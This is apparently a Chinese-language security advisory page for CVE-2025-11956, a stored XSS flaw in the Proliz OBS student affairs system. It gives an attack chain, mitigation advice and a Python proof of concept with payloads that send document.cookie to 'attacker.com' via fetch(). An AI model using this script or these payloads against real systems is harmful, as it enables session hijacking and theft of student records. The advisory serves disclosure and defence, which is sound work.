IPBUF安全漏洞报告
English
CVE-2025-11956 CVSS 8.9 高危

CVE-2025-11956: Proliz OBS学生事务信息系统存储型XSS漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-11956
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
8.9 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Proliz Software Ltd. Co. OBS (Student Affairs Information System)

相关标签

存储型XSSCVE-2025-11956Proliz OBS学生事务信息系统跨站脚本攻击Web应用安全身份认证绕过会话劫持高等教育系统

漏洞概述

CVE-2025-11956是Proliz Software Ltd. Co.开发的学生事务信息系统(OBS)中存在的严重安全漏洞,漏洞类型为存储型跨站脚本攻击(Stored XSS)。该漏洞由于系统在处理用户输入时未对特殊字符进行充分过滤和转义,导致攻击者注入的恶意JavaScript代码可以被永久存储在服务器端。当其他用户访问包含恶意代码的页面时,攻击脚本将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账号、进行钓鱼攻击或修改页面显示内容。由于该系统通常被教育机构用于管理学生信息、教务数据等敏感内容,漏洞的潜在危害范围广泛。攻击者利用低权限账号即可实施攻击,但需要诱导管理员或其他用户进行特定操作才能触发漏洞利用。CVSS评分8.9分,属于高危漏洞,机密性和完整性影响均为高。

技术细节

该存储型XSS漏洞存在于OBS系统的多个输入点,攻击者可以通过以下方式利用:1) 在学生信息录入、成绩管理、公告发布等功能模块的表单字段中注入恶意JavaScript代码;2) 由于系统未对输入内容进行HTML实体编码,特殊字符如<script>、<img src=x onerror=>等可直接存储到数据库;3) 当管理员或教师访问相关管理页面时,存储的恶意代码会被浏览器解析执行。攻击者可利用此漏洞获取受害者Cookie信息进行会话劫持,访问敏感的学生个人信息,甚至可能通过横向移动获取更高权限。漏洞影响版本为25.0401之前的OBS系统版本。攻击者需要拥有低权限账号(PR:L)并诱导用户点击特定链接或访问特定页面(UI:R)才能完成完整攻击链。

攻击链分析

STEP 1
步骤1
攻击者注册或获取OBS系统的低权限用户账号(PR:L)
STEP 2
步骤2
攻击者登录系统后在学生信息、成绩录入或公告发布等表单中注入恶意XSS payload
STEP 3
步骤3
恶意代码被存储到数据库中,由于系统未进行输入过滤,JavaScript代码被永久保存
STEP 4
步骤4
当管理员或教师访问包含恶意代码的页面时,浏览器解析并执行存储的脚本(UI:R)
STEP 5
步骤5
攻击脚本执行后可窃取用户Cookie、会话令牌或重定向用户到钓鱼页面
STEP 6
步骤6
攻击者利用窃取的凭证进行会话劫持,访问更多敏感数据或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import argparse # CVE-2025-11956 Stored XSS PoC # Target: Proliz OBS (Student Affairs Information System) # Vulnerability: Improper Input Neutralization leading to Stored XSS def exploit_stored_xss(target_url, username, password, payload): """ Exploit stored XSS vulnerability in OBS system """ session = requests.Session() # Step 1: Login to the system login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data) print(f"[*] Login attempt: {response.status_code}") # Step 2: Inject XSS payload in student info form inject_url = f"{target_url}/student/add" inject_data = { 'student_name': f"<script>alert(document.cookie)</script>", 'student_id': '12345', 'notes': payload } response = session.post(inject_url, data=inject_data) print(f"[*] Payload injection: {response.status_code}") # Step 3: Verify stored XSS view_url = f"{target_url}/student/view/12345" response = session.get(view_url) if payload in response.text or '<script>' in response.text: print("[+] Stored XSS vulnerability confirmed!") return True else: print("[-] Payload not found in response") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads for CVE-2025-11956 PAYLOADS = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">', '<svg/onload=fetch("https://attacker.com/cookie?"+document.cookie)>' ] if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-11956 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') args = parser.parse_args() for payload in PAYLOADS: print(f"[*] Testing payload: {payload}") exploit_stored_xss(args.target, args.username, args.password, payload)

影响范围

Proliz OBS (Student Affairs Information System) < 25.0401

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)对所有用户输入字段实施严格的输入长度和格式限制;2)在输出点对特殊字符进行HTML实体编码(<编码为&lt;、>编码为&gt;、"编码为&quot;、'编码为&#x27;、&编码为&amp;);3)部署Web应用防火墙规则拦截常见的XSS攻击payload;4)启用X-XSS-Protection响应头;5)限制低权限用户对敏感功能模块的访问;6)加强会话管理,对重要操作实施多因素认证;7)监控应用日志及时发现异常攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表